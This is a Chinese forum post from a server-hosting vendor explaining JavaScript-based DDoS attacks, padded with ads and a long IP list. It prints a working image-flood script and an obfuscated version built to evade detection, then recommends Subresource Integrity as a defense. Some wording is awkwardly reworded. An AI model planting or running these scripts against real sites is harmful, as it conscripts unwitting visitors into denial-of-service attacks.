简单又可怕!基于JavaScript(JS)的DDOS攻击!-web服务器租用,43.240.157.1杭州BGP高防服务器

 tangtao   2019-11-27 11:16   56 人阅读  0 条评论

简单又可怕!基于JavaScript(JS)的DDOS攻击!-web服务器租用,43.240.157.1杭州BGP高防服务器

测试IP:43.240.157.1,了解更多IP服务器情况,联系QQ:3007425280(唐经理),大客户专线:15217267172,期待与您的合作!

最历史悠久、最广泛、却又最恐怖的攻击非DDoS攻击莫属。

在传统式的DDoS攻击中,攻击者会操纵很多的傀偶机,随后向总体目标服务器发送很多恳求,阻拦合理合法用户浏览网址。

殊不知,近期两年DDoS攻击技术性持续破旧立新:攻击者用一种新式且很趣味的方法欺骗用户参与到攻击主题活动中:应用故意的JavaScript欺骗用户参与DDoS攻击。

根据JavaScript的DDOS攻击有一个非同一般的特性:一切有电脑浏览器的机器设备都将会参与攻击,其潜在性攻击经营规模贴近無限。

根据JavaScript的DDOS攻击原理


现代网站的交互作用大多数都是采用JavaScript。JavaScript脚本可直接注入HTML中,或者通过 <script src=”"> HTML从远程服务器载入。

function imgflood() {var TARGET = ''victim-website.com'var URI = '/index.php?'     var pic = new Image()var rand = Math.floor(Math.random() * 1000)pic.src = 'http://'+TARGET+URI+rand+'=val'}setInterval(imgflood, 10)

该脚本会在目标网页上生成一个图片按钮,图片按钮会指向“’victim-website.com” 网站。只要用户访问了含有该脚本的网页,那么他就会成为 “’victim-website.com”DDoS攻击中的一员。浏览器发出的每一个请求都是有效请求,于是该攻击又变成了Layer 7 攻击。

简单又可怕!基于JavaScript(JS)的DDOS攻击!-web服务器租用,43.240.157.1杭州BGP高防服务器 第1张

由于是JS代码,所以通过查看网页源码,可以直接的看到攻击代码,发现是攻击网页。但如果以上的代码经过JShaman的混淆,JS代码会被保护起来,更难以被识别和发现:

var _0x9ea1=['victim\\x2dwebsite\\x2ecom','\\x2findex\\x2ephp\\x3f','floor','random','src','http\\x3a\\x2f\\x2f','\\x3dval'];(function(_0xa439d7,_0x7a3f17){var _0x2fcd4b=function(_0x1be501){while(--_0x1be501){_0xa439d7['\\x70\\x75\\x73\\x68'](_0xa439d7['\\x73\\x68\\x69\\x66\\x74']());}};_0x2fcd4b(++_0x7a3f17);}(_0x9ea1,0xa1));var _0x19ea=function(_0x3ac308,_0x2c1ecf){_0x3ac308=_0x3ac308-0x0;var _0x393163=_0x9ea1[_0x3ac308];return _0x393163;};function imgflood(){var _0xcb2cd4=_0x19ea('0x0');var _0x3d1bbb=_0x19ea('0x1');var _0x189885=new Image();var _0x2dfc3a=Math[_0x19ea('0x2')](Math[_0x19ea('0x3')]()*0x3e8);_0x189885[_0x19ea('0x4')]=_0x19ea('0x5')+_0xcb2cd4+_0x3d1bbb+_0x2dfc3a+_0x19ea('0x6');}setInterval(imgflood,0xa);

如果攻击者入侵了一个网站,在网站js文件中嵌入了类似上面的恶意JavaScript脚本,那么该网站的每一个访客都将成为DDoS攻击中的一员。网站流量越高就意味着DDoS越严重。

如何防止这种攻击?

目前HTTP还没有相关的机制来阻止该脚本的运行,但W3C已经提出了名叫子资源完整性(SRI)的新功能,使用加密哈希值验证脚本,如果哈希值不匹配浏览器可以阻止其运行。

例如,如下脚本标签:

<script src="https://code.jquery.com/jquery-1.10.2.min.js">

浏览器会自动下载该.js文件,并且会不分青红皂白的运行它。即使该文件中被攻击者注入了恶意脚本,浏览器也不会识别(也识别不出)。然而如果网站发现了哈希值验证脚本不匹配,子资源完整性(SRI)会告诉浏览器不要运行该脚本。

<script src="https://code.jquery.com/jquery-1.10.2.min.js"integrity="sha256-C6CB9UYIS9UJeqinPHWTHVqh/E1uhG5Twh+Y5qFQmYg="crossorigin="anonymous">

建议网站管理员将添加这一标签添加到服务器上,用以保护其用户不被利用。

扬州BGP高防
103.53.125.1
103.53.125.2
103.53.125.3
103.53.125.4
103.53.125.5
103.53.125.6
103.53.125.7
103.53.125.8
103.53.125.9
103.53.125.10
103.53.125.11
103.53.125.12
103.53.125.13
103.53.125.14
103.53.125.15
103.53.125.16
103.53.125.17
103.53.125.18
103.53.125.19
103.53.125.20
103.53.125.21
103.53.125.22
103.53.125.23
103.53.125.24
103.53.125.25
103.53.125.26
103.53.125.27
103.53.125.28
103.53.125.29
103.53.125.30
103.53.125.31
103.53.125.32
103.53.125.33
103.53.125.34
103.53.125.35
103.53.125.36
103.53.125.37
103.53.125.38
103.53.125.39
103.53.125.40
103.53.125.41
103.53.125.42
103.53.125.43
103.53.125.44
103.53.125.45
103.53.125.46
103.53.125.47
103.53.125.48
103.53.125.49
103.53.125.50
103.53.125.51
103.53.125.52
103.53.125.53
103.53.125.54
103.53.125.55
103.53.125.56
103.53.125.57
103.53.125.58
103.53.125.59
103.53.125.60
103.53.125.61
103.53.125.62
103.53.125.63
103.53.125.64
103.53.125.65
103.53.125.66
103.53.125.67
103.53.125.68
103.53.125.69
103.53.125.70
103.53.125.71
103.53.125.72
103.53.125.73
103.53.125.74
103.53.125.75
103.53.125.76
103.53.125.77
103.53.125.78
103.53.125.79
103.53.125.80
103.53.125.81
103.53.125.82
103.53.125.83
103.53.125.84
103.53.125.85
103.53.125.86
103.53.125.87
103.53.125.88
103.53.125.89
103.53.125.90
103.53.125.91
103.53.125.92
103.53.125.93
103.53.125.94
103.53.125.95
103.53.125.96
103.53.125.97
103.53.125.98
103.53.125.99
103.53.125.100
103.53.125.101
103.53.125.102
103.53.125.103
103.53.125.104
103.53.125.105
103.53.125.106
103.53.125.107
103.53.125.108
103.53.125.109
103.53.125.110
103.53.125.111
103.53.125.112
103.53.125.113
103.53.125.114
103.53.125.115
103.53.125.116
103.53.125.117
103.53.125.118
103.53.125.119
103.53.125.120
103.53.125.121
103.53.125.122
103.53.125.123
103.53.125.124
103.53.125.125
103.53.125.126
103.53.125.127
103.53.125.128
103.53.125.129
103.53.125.130
103.53.125.131
103.53.125.132
103.53.125.133
103.53.125.134
103.53.125.135
103.53.125.136
103.53.125.137
103.53.125.138
103.53.125.139
103.53.125.140
103.53.125.141
103.53.125.142
103.53.125.143
103.53.125.144
103.53.125.145
103.53.125.146
103.53.125.147
103.53.125.148
103.53.125.149
103.53.125.150
103.53.125.151
103.53.125.152
103.53.125.153
103.53.125.154
103.53.125.155
103.53.125.156
103.53.125.157
103.53.125.158
103.53.125.159
103.53.125.160
103.53.125.161
103.53.125.162
103.53.125.163
103.53.125.164
103.53.125.165
103.53.125.166
103.53.125.167
103.53.125.168
103.53.125.169
103.53.125.170
103.53.125.171
103.53.125.172
103.53.125.173
103.53.125.174
103.53.125.175
103.53.125.176
103.53.125.177
103.53.125.178
103.53.125.179
103.53.125.180
103.53.125.181
103.53.125.182
103.53.125.183
103.53.125.184
103.53.125.185
103.53.125.186
103.53.125.187
103.53.125.188
103.53.125.189
103.53.125.190
103.53.125.191
103.53.125.192
103.53.125.193
103.53.125.194
103.53.125.195
103.53.125.196
103.53.125.197
103.53.125.198
103.53.125.199
103.53.125.200
103.53.125.201
103.53.125.202
103.53.125.203
103.53.125.204
103.53.125.205
103.53.125.206
103.53.125.207
103.53.125.208
103.53.125.209
103.53.125.210
103.53.125.211
103.53.125.212
103.53.125.213
103.53.125.214
103.53.125.215
103.53.125.216
103.53.125.217
103.53.125.218
103.53.125.219
103.53.125.220
103.53.125.221
103.53.125.222
103.53.125.223
103.53.125.224
103.53.125.225
103.53.125.226
103.53.125.227
103.53.125.228
103.53.125.229
103.53.125.230
103.53.125.231
103.53.125.232
103.53.125.233
103.53.125.234
103.53.125.235
103.53.125.236
103.53.125.237
103.53.125.238
103.53.125.239
103.53.125.240
103.53.125.241
103.53.125.242
103.53.125.243
103.53.125.244
103.53.125.245
103.53.125.246
103.53.125.247
103.53.125.248
103.53.125.249
103.53.125.250
103.53.125.251
103.53.125.252
103.53.125.253
103.53.125.254
103.53.125.255


本文地址:https://bbs.rhidc.com.cn/?id=120
版权声明:本文为原创文章,版权归 tangtao 所有,欢迎分享本文,转载请保留出处!

 发表评论


表情

还没有留言,还不快点抢沙发?